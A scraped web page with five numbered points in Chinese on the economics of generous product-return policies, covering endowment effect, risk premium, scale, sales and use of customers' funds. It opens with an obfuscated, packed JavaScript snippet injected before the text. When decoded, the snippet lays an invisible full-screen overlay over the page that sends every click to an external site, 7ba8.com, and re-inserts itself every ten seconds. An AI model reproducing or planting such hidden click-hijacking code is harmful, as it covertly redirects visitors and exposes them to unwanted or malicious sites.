<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>1. 「禀赋效应」或「损失厌恶」表示，消费者在购买和使用一件 (耐用) 商品后，这个东西在他心中的价值就大大提高了，以原价退回对消费者本人来说就往往无法接受。
2. 既然企业面临商品被无故退回的风险，所以完全可能已经将「风险溢价」加到了商品价格中。也就是说，那些占大多数的不退回商品的消费者，在为退回者埋单。
3. 大规模企业因为「规模经济」，本身就有更强的风险承受能力，不必考虑风险溢价。
4. 对于部分摸着钱包犹豫不决的消费者，退货政策消除了他们的后顾之忧，这是「后悔药换销量」。
5. 对于退回商品的情况，企业实际上是以商品作抵押，租用了消费者的资金。通过企业的「资金运作」，这些资金在退货期产生的增值，至少可以部分抵扣商品的折旧。 |
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